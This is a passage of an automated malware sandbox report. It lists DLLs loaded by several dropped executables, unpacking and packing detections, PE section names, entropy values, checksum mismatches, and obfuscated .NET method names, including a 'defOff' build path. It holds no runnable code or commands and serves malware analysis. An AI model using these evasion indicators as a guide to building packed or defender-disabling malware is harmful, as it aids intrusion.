Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 3017216 > 1048576

Source: file.exe

Static PE information: Raw size of kbteuhkh is bigger than: 0x100000 < 0x2af000

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: f2de4e119f.exe, 00000007.00000002.3267559425.0000000005CB2000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.580000.0.unpack :EW;.rsrc:W;.idata :W;kbteuhkh:EW;hmexrxce:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kbteuhkh:EW;hmexrxce:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W;kbteuhkh:EW;hmexrxce:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kbteuhkh:EW;hmexrxce:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W;kbteuhkh:EW;hmexrxce:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kbteuhkh:EW;hmexrxce:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W;kbteuhkh:EW;hmexrxce:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kbteuhkh:EW;hmexrxce:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Unpacked PE file: 7.2.f2de4e119f.exe.870000.0.unpack :EW;.rsrc :W;.idata :W;fmpsqbte:EW;yzkhfydu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;fmpsqbte:EW;yzkhfydu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Unpacked PE file: 12.2.ba94e3db0d.exe.3e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Unpacked PE file: 16.2.ef4aa82a7c.exe.570000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zicceeoj:EW;xmbctvay:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zicceeoj:EW;xmbctvay:EW;.taggant:EW;

.NET source code contains potential unpacker

Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, p70yJbu5bF4vKhUO1a.cs	.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, p70yJbu5bF4vKhUO1a.cs	.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x2d189a should be: 0x2cd7ed
Source: f2de4e119f.exe.6.dr	Static PE information: real checksum: 0x2d189a should be: 0x2cd7ed
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x4481f0 should be: 0x44f698
Source: ba94e3db0d.exe.6.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: 324fcfa2b3.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: ef4aa82a7c.exe.6.dr	Static PE information: real checksum: 0x455408 should be: 0x448350
Source: c6628554c1.exe.6.dr	Static PE information: real checksum: 0x4481f0 should be: 0x44f698
Source: file.exe	Static PE information: real checksum: 0x2eb490 should be: 0x2ef803
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2eb490 should be: 0x2ef803
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 6454cda0dd.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x455408 should be: 0x448350

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: kbteuhkh
Source: file.exe	Static PE information: section name: hmexrxce
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: kbteuhkh
Source: skotes.exe.0.dr	Static PE information: section name: hmexrxce
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name: fmpsqbte
Source: random[1].exe.6.dr	Static PE information: section name: yzkhfydu
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: f2de4e119f.exe.6.dr	Static PE information: section name:
Source: f2de4e119f.exe.6.dr	Static PE information: section name: .rsrc
Source: f2de4e119f.exe.6.dr	Static PE information: section name: .idata
Source: f2de4e119f.exe.6.dr	Static PE information: section name: fmpsqbte
Source: f2de4e119f.exe.6.dr	Static PE information: section name: yzkhfydu
Source: f2de4e119f.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: biyvevdc
Source: random[1].exe1.6.dr	Static PE information: section name: aogmlwgx
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: c6628554c1.exe.6.dr	Static PE information: section name:
Source: c6628554c1.exe.6.dr	Static PE information: section name: .idata
Source: c6628554c1.exe.6.dr	Static PE information: section name:
Source: c6628554c1.exe.6.dr	Static PE information: section name: biyvevdc
Source: c6628554c1.exe.6.dr	Static PE information: section name: aogmlwgx
Source: c6628554c1.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: uzxdwyvi
Source: random[1].exe2.6.dr	Static PE information: section name: efzdldig
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: ba94e3db0d.exe.6.dr	Static PE information: section name:
Source: ba94e3db0d.exe.6.dr	Static PE information: section name: .idata
Source: ba94e3db0d.exe.6.dr	Static PE information: section name:
Source: ba94e3db0d.exe.6.dr	Static PE information: section name: uzxdwyvi
Source: ba94e3db0d.exe.6.dr	Static PE information: section name: efzdldig
Source: ba94e3db0d.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: zicceeoj
Source: random[2].exe.6.dr	Static PE information: section name: xmbctvay
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: ef4aa82a7c.exe.6.dr	Static PE information: section name:
Source: ef4aa82a7c.exe.6.dr	Static PE information: section name: .idata
Source: ef4aa82a7c.exe.6.dr	Static PE information: section name:
Source: ef4aa82a7c.exe.6.dr	Static PE information: section name: zicceeoj
Source: ef4aa82a7c.exe.6.dr	Static PE information: section name: xmbctvay
Source: ef4aa82a7c.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059D91C push ecx; ret	0_2_0059D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00591359 push es; ret	0_2_0059135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0090D91C push ecx; ret	2_2_0090D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0090D91C push ecx; ret	3_2_0090D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0090D91C push ecx; ret	6_2_0090D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0090DFC6 push ecx; ret	6_2_0090DFD9

Source: file.exe	Static PE information: section name: entropy: 7.980366727740827
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.980366727740827
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.982497627551889
Source: f2de4e119f.exe.6.dr	Static PE information: section name: entropy: 7.982497627551889
Source: random[1].exe1.6.dr	Static PE information: section name: biyvevdc entropy: 7.956080074817993
Source: c6628554c1.exe.6.dr	Static PE information: section name: biyvevdc entropy: 7.956080074817993
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.974324170155358
Source: random[1].exe2.6.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: ba94e3db0d.exe.6.dr	Static PE information: section name: entropy: 7.974324170155358
Source: ba94e3db0d.exe.6.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: random[2].exe.6.dr	Static PE information: section name: zicceeoj entropy: 7.954541903209299
Source: ef4aa82a7c.exe.6.dr	Static PE information: section name: zicceeoj entropy: 7.954541903209299
Source: random[2].exe0.6.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: 6454cda0dd.exe.6.dr	Static PE information: section name: .text entropy: 7.73440914387992

Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
